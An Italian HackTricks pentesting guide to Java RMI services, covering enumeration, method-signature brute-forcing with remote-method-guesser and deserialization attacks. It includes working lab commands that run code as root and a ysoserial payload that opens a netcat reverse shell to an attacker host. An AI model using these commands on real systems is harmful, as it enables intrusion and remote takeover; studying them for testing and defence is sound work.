19 KiB
1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Usa Trickest per creare e automatizzare flussi di lavoro con gli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Informazioni di base
L'invocazione di metodo remoto Java, o Java RMI, è un meccanismo di RPC orientato agli oggetti che consente a un oggetto situato in una Java virtual machine di chiamare metodi su un oggetto situato in un'altra Java virtual machine. Ciò consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Una breve introduzione a Java RMI da una prospettiva offensiva può essere trovata in questa presentazione di blackhat.
Porta predefinita: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
Di solito, solo i componenti predefiniti di Java RMI (il RMI Registry e il Activation System) sono collegati alle porte comuni. Gli oggetti remoti che implementano l'applicazione RMI effettiva sono di solito collegati a porte casuali come mostrato nell'output sopra.
nmap a volte ha problemi nell'identificare i servizi RMI protetti da SSL. Se incontri un servizio ssl sconosciuto su una porta RMI comune, dovresti indagare ulteriormente.
Componenti RMI
In parole semplici, Java RMI consente a un programmatore di rendere disponibile un oggetto Java sulla rete. Questo apre una porta TCP a cui i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Nonostante ciò sembri semplice, ci sono diverse sfide che Java RMI deve risolvere:
- Per inviare una chiamata di metodo tramite Java RMI, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'
ObjID
dell'oggetto di destinazione (l'ObjID
è un identificatore unico e casuale che viene creato quando l'oggetto viene reso disponibile sulla rete. È richiesto perché Java RMI consente a più oggetti di ascoltare sulla stessa porta TCP). - I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La Java virtual machine deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte dal garbage collector.
La prima sfida viene risolta dal RMI registry, che è essenzialmente un servizio di denominazione per Java RMI. Il RMI registry stesso è anche un servizio RMI, ma l'interfaccia implementata e l'ObjID
sono fissi e conosciuti da tutti i client RMI. Ciò consente ai client RMI di utilizzare il RMI registry semplicemente conoscendo la porta TCP corrispondente.
Quando i programmatori vogliono rendere i loro oggetti Java disponibili nella rete, di solito li collegano a un RMI registry. Il registry memorizza tutte le informazioni necessarie per connettersi all'oggetto (indirizzo IP, porta di ascolto, classe o interfaccia implementata e valore ObjID
) e le rende disponibili con un nome leggibile dall'utente (il "nome associato"). I client che desiderano utilizzare il servizio RMI richiedono al RMI registry il nome associato corrispondente e il registry restituisce tutte le informazioni necessarie per la connessione. Pertanto, la situazione è essenzialmente la stessa di un normale servizio DNS. L'esempio seguente mostra un piccolo esempio:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
Il secondo dei suddetti problemi è risolto dal Distributed Garbage Collector (DGC). Questo è un altro servizio RMI con un valore ObjID
ben noto ed è disponibile praticamente su ogni punto finale RMI. Quando un client RMI inizia a utilizzare un servizio RMI, invia un'informazione al DGC che l'oggetto remoto corrispondente è in uso. Il DGC può quindi tenere traccia del conteggio dei riferimenti ed è in grado di pulire gli oggetti non utilizzati.
Insieme al deprecato Activation System, questi sono i tre componenti predefiniti di Java RMI:
- Il RMI Registry (
ObjID = 0
) - Il Activation System (
ObjID = 1
) - Il Distributed Garbage Collector (
ObjID = 2
)
I componenti predefiniti di Java RMI sono noti come vettori di attacco da molto tempo e esistono molteplici vulnerabilità nelle versioni obsolete di Java. Dal punto di vista di un attaccante, questi componenti predefiniti sono interessanti perché implementano classi/interfacce conosciute ed è facilmente possibile interagire con essi. Questa situazione è diversa per i servizi RMI personalizzati. Per chiamare un metodo su un oggetto remoto, è necessario conoscere in anticipo la firma del metodo corrispondente. Senza conoscere una firma di metodo esistente, non c'è modo di comunicare con un servizio RMI.
Enumerazione RMI
remote-method-guesser è uno scanner di vulnerabilità Java RMI in grado di identificare automaticamente le comuni vulnerabilità RMI. Ogni volta che identifichi un punto finale RMI, dovresti provarlo:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
L'output dell'azione di enumerazione è spiegato in maggior dettaglio nelle pagine di documentazione del progetto. A seconda del risultato, si dovrebbe cercare di verificare le vulnerabilità identificate.
I valori ObjID
visualizzati da remote-method-guesser possono essere utilizzati per determinare il tempo di attività del servizio. Ciò potrebbe consentire di identificare altre vulnerabilità:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
Bruteforcing dei metodi remoti
Anche quando durante l'enumerazione non sono state identificate vulnerabilità, i servizi RMI disponibili potrebbero comunque esporre funzioni pericolose. Inoltre, nonostante la comunicazione RMI con i componenti predefiniti di RMI sia protetta da filtri di deserializzazione, quando si parla con servizi RMI personalizzati, di solito tali filtri non sono presenti. Conoscere le firme dei metodi validi sui servizi RMI è quindi prezioso.
Sfortunatamente, Java RMI non supporta l'enumerazione dei metodi sugli oggetti remoti. Detto ciò, è possibile forzare le firme dei metodi con strumenti come remote-method-guesser o rmiscout:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
I metodi identificati possono essere chiamati in questo modo:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
Oppure puoi eseguire attacchi di deserializzazione come segue:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
Ulteriori informazioni possono essere trovate in questi articoli:
Oltre a indovinare, dovresti anche cercare su motori di ricerca o su GitHub l'interfaccia o addirittura l'implementazione di un servizio RMI incontrato. Il nome bound e il nome della classe o dell'interfaccia implementata possono essere utili in questo caso.
Interfacce Conosciute
remote-method-guesser contrassegna le classi o le interfacce come conosciute
se sono elencate nel database interno dello strumento dei servizi RMI conosciuti. In questi casi, puoi utilizzare l'azione conosciuta
per ottenere ulteriori informazioni sul corrispondente servizio RMI:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Strumenti
Riferimenti
Comandi Automatici HackTricks
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi stesso:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF, controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository di HackTricks e HackTricks Cloud github.